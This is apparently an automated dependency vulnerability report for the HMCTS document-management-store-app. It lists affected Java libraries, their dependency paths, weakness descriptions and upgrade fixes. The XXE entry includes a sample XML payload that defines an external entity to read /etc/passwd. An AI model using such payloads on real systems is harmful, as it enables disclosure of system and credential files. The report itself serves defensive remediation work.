  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1 › tools.jackson.core:jackson-core@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.data:spring-data-rest-webmvc@5.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1 › tools.jackson.core:jackson-core@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1 › tools.jackson.core:jackson-core@3.0.1

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the _reportInvalidToken(int, String, String) method of UTF8DataInputJsonParser, which accumulates invalid token characters into a StringBuilder with no check against ErrorReportConfiguration.getMaxErrorTokenLength(), unlike UTF8StreamJsonParser, ReaderBasedJsonParser, and NonBlockingUtf8JsonParserBase, which enforce the 256-character default. An attacker can exhaust the JVM heap by submitting a sufficiently long malformed token, since the whole token is copied into the exception message, where a 20-million-character token produces a 20,000,109-character message against 367 characters on the bounded path. This requires the application to create its parser through JsonFactory.createParser(DataInput), and no configuration constrains the path, since maxDocumentLength does not apply to DataInput sources and maxStringLength does not cover it.

Remediation

Upgrade tools.jackson.core:jackson-core to version 3.1.7, 3.2.3 or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tools.jackson.core:jackson-databind
  • Introduced through: net.logstash.logback:logstash-logback-encoder@9.0, org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 and others

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › net.logstash.logback:logstash-logback-encoder@9.0 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.data:spring-data-rest-webmvc@5.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the CoreXMLDeserializers.Std._deserialize path in src/main/java/com/fasterxml/jackson/databind/ext/CoreXMLDeserializers.java. An attacker can consume excessive CPU by supplying a JSON string bound to a javax.xml.datatype.Duration or XMLGregorianCalendar field, causing DatatypeFactory.newDuration(value) or newXMLGregorianCalendar(value) to parse arbitrarily long numeric components. This stalls the request-handling thread and can exhaust server CPU under default deserialization settings, denying service to other users.

Remediation

Upgrade tools.jackson.core:jackson-databind to version 3.1.6, 3.2.2 or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tools.jackson.core:jackson-databind
  • Introduced through: net.logstash.logback:logstash-logback-encoder@9.0, org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 and others

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › net.logstash.logback:logstash-logback-encoder@9.0 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.data:spring-data-rest-webmvc@5.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the resolveForwardReference() method of CollectionDeserializer.CollectionReferringAccumulator, and in the corresponding map accumulators, which perform a linear search of the pending accumulator for every resolved object ID. An attacker can consume quadratic CPU and exhaust a request-time or worker-capacity budget by submitting JSON whose N unresolved object-ID references resolve in reverse order, costing roughly N*(N+1)/2 comparisons, measured at 2,003,000 for N=2,000. This requires the application to deserialize attacker-influenced JSON into an identity-enabled collection or map under @JsonIdentityInfo, though it needs no deep nesting or unusual JSON syntax.

Remediation

Upgrade tools.jackson.core:jackson-databind to version 3.1.7, 3.2.3 or higher.

References

high severity

User Impersonation

  • Vulnerable module: org.springframework.security:spring-security-web
  • Introduced through: org.springframework.security:spring-security-web@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-web@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-web@3.0.0.RELEASE.

Overview

org.springframework.security:spring-security-web is a package within Spring Security that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to User Impersonation in the SubjectX500PrincipalExtractor component. An attacker can gain unauthorized access to another user's account by presenting a specially crafted X.509 client certificate containing a malformed CN value.

Notes:

  • The SubjectX500PrincipalExtractor component sits behind Spring Security's pre-authentication flow, which assumes the presented credentials have already been validated by a trusted upstream. Exploiting this issue therefore presupposes a compromise of that upstream trust.

  • The fix only addresses SubjectX500PrincipalExtractor and not SubjectDnX509PrincipalExtractor, a deprecated component.

Remediation

Upgrade org.springframework.security:spring-security-web to version 7.0.5 or higher.

References

high severity

Sensitive Cookie in HTTPS Session Without "Secure" Attribute

  • Vulnerable module: org.springframework:spring-web
  • Introduced through: org.springframework.cloud:spring-cloud-starter-openfeign@4.3.3, org.springframework.boot:spring-boot-starter-web@4.2.0-M2 and others

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.cloud:spring-cloud-starter-openfeign@4.3.3 › org.springframework:spring-web@6.2.19
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-openfeign@5.0.3.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-http-converter@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springdoc:springdoc-openapi-starter-webmvc-ui@2.9.1 › org.springdoc:springdoc-openapi-starter-webmvc-api@2.9.1 › org.springframework:spring-webmvc@7.1.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework:spring-webmvc@7.1.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-http-converter@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-http-converter@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-servlet@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.cloud:spring-cloud-starter-openfeign@4.3.3 › org.springframework.cloud:spring-cloud-openfeign-core@4.3.3 › io.github.openfeign:feign-form-spring@13.6.1 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework:spring-webmvc@7.1.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework:spring-webmvc@7.1.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.data:spring-data-rest-webmvc@5.2.0-M2 › org.springframework:spring-webmvc@7.1.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-http-converter@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-http-converter@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-servlet@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-servlet@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-web-server@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat-runtime@4.2.0-M2 › org.springframework.boot:spring-boot-web-server@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.data:spring-data-rest-webmvc@5.2.0-M2 › org.springframework.data:spring-data-rest-core@5.2.0-M2 › org.springframework.hateoas:spring-hateoas@3.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat-runtime@4.2.0-M2 › org.springframework.boot:spring-boot-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-web-server@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-web-server@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat-runtime@4.2.0-M2 › org.springframework.boot:spring-boot-web-server@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat-runtime@4.2.0-M2 › org.springframework.boot:spring-boot-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-web-server@4.2.0-M2 › org.springframework:spring-web@6.2.19

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Sensitive Cookie in HTTPS Session Without "Secure" Attribute in the JettyCoreServerHttpResponse file. An attacker can compromise user session integrity by exploiting the omission of the sameSite attribute in serialized response cookies, potentially enabling cross-site request forgery (CSRF) attacks when a user interacts with a malicious website.

Remediation

Upgrade org.springframework:spring-web to version 7.0.9 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.projectreactor:reactor-core
  • Introduced through: com.azure:azure-storage-blob@12.35.1

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core@1.59.0 › io.projectreactor:reactor-core@3.7.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core-http-netty@1.16.6 › com.azure:azure-core@1.59.0 › io.projectreactor:reactor-core@3.7.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core@1.59.0 › io.projectreactor:reactor-core@3.7.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-core@1.59.0 › io.projectreactor:reactor-core@3.7.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.projectreactor:reactor-core@3.7.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › com.azure:azure-core@1.59.0 › io.projectreactor:reactor-core@3.7.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core@1.59.0 › io.projectreactor:reactor-core@3.7.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.projectreactor.netty:reactor-netty-core@1.2.18 › io.projectreactor:reactor-core@3.7.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.projectreactor:reactor-core@3.7.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › com.azure:azure-core@1.59.0 › io.projectreactor:reactor-core@3.7.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.projectreactor.netty:reactor-netty-core@1.2.18 › io.projectreactor:reactor-core@3.7.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.projectreactor:reactor-core@3.7.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.projectreactor.netty:reactor-netty-core@1.2.18 › io.projectreactor:reactor-core@3.7.19

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the Flux.windowTimeout function when fairBackpressure is enabled. An attacker can cause the stream to hang indefinitely and exhaust system resources by maintaining long-lived connections and manipulating downstream read speeds.

Remediation

Upgrade io.projectreactor:reactor-core to version 3.8.7 or higher.

References

high severity

Race Condition

  • Vulnerable module: io.projectreactor:reactor-core
  • Introduced through: com.azure:azure-storage-blob@12.35.1

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core@1.59.0 › io.projectreactor:reactor-core@3.7.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core-http-netty@1.16.6 › com.azure:azure-core@1.59.0 › io.projectreactor:reactor-core@3.7.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core@1.59.0 › io.projectreactor:reactor-core@3.7.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-core@1.59.0 › io.projectreactor:reactor-core@3.7.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.projectreactor:reactor-core@3.7.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › com.azure:azure-core@1.59.0 › io.projectreactor:reactor-core@3.7.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core@1.59.0 › io.projectreactor:reactor-core@3.7.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.projectreactor.netty:reactor-netty-core@1.2.18 › io.projectreactor:reactor-core@3.7.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.projectreactor:reactor-core@3.7.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › com.azure:azure-core@1.59.0 › io.projectreactor:reactor-core@3.7.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.projectreactor.netty:reactor-netty-core@1.2.18 › io.projectreactor:reactor-core@3.7.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.projectreactor:reactor-core@3.7.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.projectreactor.netty:reactor-netty-core@1.2.18 › io.projectreactor:reactor-core@3.7.19

Overview

Affected versions of this package are vulnerable to Race Condition in the Flux.bufferTimeout process with fairBackpressure enabled when a race condition occurs between flushing buffered items and the arrival of new upstream items. An attacker can cause the stream to hang indefinitely and exhaust resources by manipulating the timing of upstream item delivery to trigger this race condition.

Remediation

Upgrade io.projectreactor:reactor-core to version 3.8.7 or higher.

References

high severity
new

Timing Attack

  • Vulnerable module: org.bouncycastle:bcprov-jdk18on
  • Introduced through: org.apache.tika:tika-parsers-standard-package@3.3.2, org.springframework.cloud:spring-cloud-starter-bootstrap@4.3.3 and others

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-crypto-module@3.3.2 › org.bouncycastle:bcprov-jdk18on@1.85
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-digest-commons@3.3.2 › org.bouncycastle:bcprov-jdk18on@1.85
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.cloud:spring-cloud-starter-bootstrap@4.3.3 › org.springframework.cloud:spring-cloud-starter@4.3.3 › org.bouncycastle:bcprov-jdk18on@1.85
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.cloud:spring-cloud-starter-openfeign@4.3.3 › org.springframework.cloud:spring-cloud-starter@4.3.3 › org.bouncycastle:bcprov-jdk18on@1.85

Overview

Affected versions of this package are vulnerable to Timing Attack through the mod3 and modQ reduction helpers in org.bouncycastle.pqc.math.ntru.Polynomial and org.bouncycastle.pqc.crypto.ntru.NTRUSampling. An attacker can recover information about NTRU private key material by measuring the latency of secret-dependent modular reductions during key generation, encapsulation, and decapsulation.

Remediation

Upgrade org.bouncycastle:bcprov-jdk18on to version 1.86 or higher.

References

high severity

Incorrect Implementation of Authentication Algorithm

  • Vulnerable module: org.postgresql:postgresql
  • Introduced through: org.postgresql:postgresql@versions.postgresql

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.postgresql:postgresql@versions.postgresql
    Remediation: Upgrade to org.postgresql:postgresql@42.7.12.

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to Incorrect Implementation of Authentication Algorithm in the ScramAuthenticator class, which fails open by confirming only that the server advertised a -PLUS mechanism while neither rejecting an empty channel binding nor verifying that the negotiated mechanism actually uses channel binding. An attacker intercepting the TLS connection can strip the MitM protection that channelBinding=require is meant to guarantee, downgrading authentication from SCRAM-SHA-256-PLUS to plain SCRAM-SHA-256, by presenting a certificate with a signature algorithm such as Ed25519, Ed448, or a post-quantum scheme that makes the bundled scram-client return an empty binding instead of failing. This affects only connections that explicitly set channelBinding=require, since the default prefer policy documents fallback as expected behavior.

Workaround

This vulnerability can be avoided by configuring the connection with sslmode=verify-full and a restrictive truststore, which provides equivalent MitM protection independent of channel binding.

Remediation

Upgrade org.postgresql:postgresql to version 42.7.12 or higher.

References

high severity

XML External Entity (XXE) Injection

  • Vulnerable module: org.postgresql:postgresql
  • Introduced through: org.postgresql:postgresql@versions.postgresql

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.postgresql:postgresql@versions.postgresql
    Remediation: Upgrade to org.postgresql:postgresql@42.2.13.

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. The PgSQLXML class used for parsing was found to allow external entities and multiple doc types which could allow XXE attacks.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

Upgrade org.postgresql:postgresql to version 42.2.13 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: org.springframework:spring-web
  • Introduced through: org.springframework.cloud:spring-cloud-starter-openfeign@4.3.3, org.springframework.boot:spring-boot-starter-web@4.2.0-M2 and others

Detailed paths

